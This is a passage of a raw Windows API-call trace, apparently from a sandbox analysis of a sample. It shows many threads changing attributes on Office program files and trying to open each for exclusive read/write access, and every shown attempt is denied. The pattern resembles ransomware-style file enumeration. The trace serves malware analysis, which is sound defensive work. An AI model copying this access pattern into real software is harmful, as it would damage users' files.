[0203.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", dwFileAttributes=0x20) returned 0 [0203.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.368] GetLastError () returned 0x5 [0203.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", dwFileAttributes=0x20) returned 0 [0203.369] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4690) returned 1 Thread: id = 9203 os_tid = 0x11d0 [0202.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif")) returned 0x20 [0202.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", dwFileAttributes=0x20) returned 0 [0202.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.480] GetLastError () returned 0x5 [0202.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF", dwFileAttributes=0x20) returned 0 [0202.480] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4728) returned 1 Thread: id = 9204 os_tid = 0x1a00 [0202.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif")) returned 0x20 [0202.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", dwFileAttributes=0x20) returned 0 [0202.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.481] GetLastError () returned 0x5 [0202.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", dwFileAttributes=0x20) returned 0 [0202.482] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f47c0) returned 1 Thread: id = 9205 os_tid = 0xbe0 [0202.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\irrig_u.vss")) returned 0x20 [0202.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_U.VSS", dwFileAttributes=0x20) returned 0 [0202.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\irrig_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.275] GetLastError () returned 0x5 [0202.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_U.VSS", dwFileAttributes=0x20) returned 0 [0202.275] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae2e8) returned 1 Thread: id = 9206 os_tid = 0x1dac [0202.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_m.vss")) returned 0x20 [0202.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VSS", dwFileAttributes=0x20) returned 0 [0202.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.276] GetLastError () returned 0x5 [0202.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VSS", dwFileAttributes=0x20) returned 0 [0202.276] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae428) returned 1 Thread: id = 9207 os_tid = 0x488 [0202.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_m.vst")) returned 0x20 [0202.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VST", dwFileAttributes=0x20) returned 0 [0202.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.285] GetLastError () returned 0x5 [0202.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_M.VST", dwFileAttributes=0x20) returned 0 [0202.285] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad2a8) returned 1 Thread: id = 9208 os_tid = 0x46c [0202.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_u.vss")) returned 0x20 [0202.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VSS", dwFileAttributes=0x20) returned 0 [0202.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.287] GetLastError () returned 0x5 [0202.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VSS", dwFileAttributes=0x20) returned 0 [0202.287] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae248) returned 1 Thread: id = 9209 os_tid = 0x1c0 [0202.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_u.vst")) returned 0x20 [0202.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VST", dwFileAttributes=0x20) returned 0 [0202.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\itil_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.288] GetLastError () returned 0x5 [0202.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ITIL_U.VST", dwFileAttributes=0x20) returned 0 [0202.288] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeb08) returned 1 Thread: id = 9210 os_tid = 0x1db4 [0202.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\langlv_m.vss")) returned 0x20 [0202.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_M.VSS", dwFileAttributes=0x20) returned 0 [0202.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\langlv_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.289] GetLastError () returned 0x5 [0202.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_M.VSS", dwFileAttributes=0x20) returned 0 [0202.290] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad0c8) returned 1 Thread: id = 9211 os_tid = 0x540 [0202.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\langlv_u.vss")) returned 0x20 [0202.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_U.VSS", dwFileAttributes=0x20) returned 0 [0202.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\langlv_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.944] GetLastError () returned 0x5 [0202.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LANGLV_U.VSS", dwFileAttributes=0x20) returned 0 [0202.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ace48) returned 1 Thread: id = 9212 os_tid = 0x514 [0202.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapdr_m.vst")) returned 0x20 [0202.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_M.VST", dwFileAttributes=0x20) returned 0 [0202.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapdr_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.945] GetLastError () returned 0x5 [0202.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_M.VST", dwFileAttributes=0x20) returned 0 [0202.945] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae1a8) returned 1 Thread: id = 9213 os_tid = 0x684 [0202.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapdr_u.vst")) returned 0x20 [0205.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_U.VST", dwFileAttributes=0x20) returned 0 [0205.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapdr_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0205.993] GetLastError () returned 0x5 [0205.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPDR_U.VST", dwFileAttributes=0x20) returned 0 [0205.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae388) returned 1 Thread: id = 9214 os_tid = 0x688 [0202.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapob_m.vss")) returned 0x20 [0205.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_M.VSS", dwFileAttributes=0x20) returned 0 [0205.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapob_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0205.942] GetLastError () returned 0x5 [0205.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_M.VSS", dwFileAttributes=0x20) returned 0 [0205.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad028) returned 1 Thread: id = 9215 os_tid = 0x6b0 [0202.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapob_u.vss")) returned 0x20 [0203.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_U.VSS", dwFileAttributes=0x20) returned 0 [0203.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ldapob_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.474] GetLastError () returned 0x5 [0203.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\LDAPOB_U.VSS", dwFileAttributes=0x20) returned 0 [0203.474] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae608) returned 1 Thread: id = 9257 os_tid = 0x1c5c [0202.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0202.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF", dwFileAttributes=0x20) returned 0 [0202.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.679] GetLastError () returned 0x5 [0202.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF", dwFileAttributes=0x20) returned 0 [0202.679] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50c98) returned 1 Thread: id = 9258 os_tid = 0x1d70 [0202.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0202.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF", dwFileAttributes=0x20) returned 0 [0202.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.680] GetLastError () returned 0x5 [0202.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF", dwFileAttributes=0x20) returned 0 [0202.680] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b49c8) returned 1 Thread: id = 9259 os_tid = 0x1d74 [0202.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0202.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF", dwFileAttributes=0x20) returned 0 [0202.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.682] GetLastError () returned 0x5 [0202.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF", dwFileAttributes=0x20) returned 0 [0202.682] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3d90) returned 1 Thread: id = 9260 os_tid = 0x1620 [0202.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0202.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF", dwFileAttributes=0x20) returned 0 [0202.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.683] GetLastError () returned 0x5 [0202.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF", dwFileAttributes=0x20) returned 0 [0202.683] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3bf8) returned 1 Thread: id = 9261 os_tid = 0x17d8 [0202.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0203.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF", dwFileAttributes=0x20) returned 0 [0203.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.075] GetLastError () returned 0x5 [0203.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF", dwFileAttributes=0x20) returned 0 [0203.075] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b3c80) returned 1 Thread: id = 9262 os_tid = 0x17dc [0202.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0203.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF", dwFileAttributes=0x20) returned 0 [0203.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.076] GetLastError () returned 0x5 [0203.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF", dwFileAttributes=0x20) returned 0 [0203.076] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b51c0) returned 1 Thread: id = 9288 os_tid = 0x16a0 [0202.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif")) returned 0x20 [0203.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", dwFileAttributes=0x20) returned 0 [0203.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.302] GetLastError () returned 0x5 [0203.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", dwFileAttributes=0x20) returned 0 [0203.302] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4988) returned 1 Thread: id = 9289 os_tid = 0x16a4 [0202.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif")) returned 0x20 [0203.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", dwFileAttributes=0x20) returned 0 [0203.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.311] GetLastError () returned 0x5 [0203.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", dwFileAttributes=0x20) returned 0 [0203.311] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77038) returned 1 Thread: id = 9290 os_tid = 0x16a8 [0202.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif")) returned 0x20 [0203.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", dwFileAttributes=0x20) returned 0 [0203.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.310] GetLastError () returned 0x5 [0203.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49B.GIF", dwFileAttributes=0x20) returned 0 [0203.310] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c759a8) returned 1 Thread: id = 9291 os_tid = 0x16ac [0202.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif")) returned 0x20 [0203.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", dwFileAttributes=0x20) returned 0 [0203.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.309] GetLastError () returned 0x5 [0203.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", dwFileAttributes=0x20) returned 0 [0203.309] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76a48) returned 1 Thread: id = 9292 os_tid = 0x16b0 [0202.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif")) returned 0x20 [0203.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", dwFileAttributes=0x20) returned 0 [0203.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.307] GetLastError () returned 0x5 [0203.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", dwFileAttributes=0x20) returned 0 [0203.307] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e2a18) returned 1 Thread: id = 9293 os_tid = 0x16e4 [0202.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif")) returned 0x20 [0203.306] 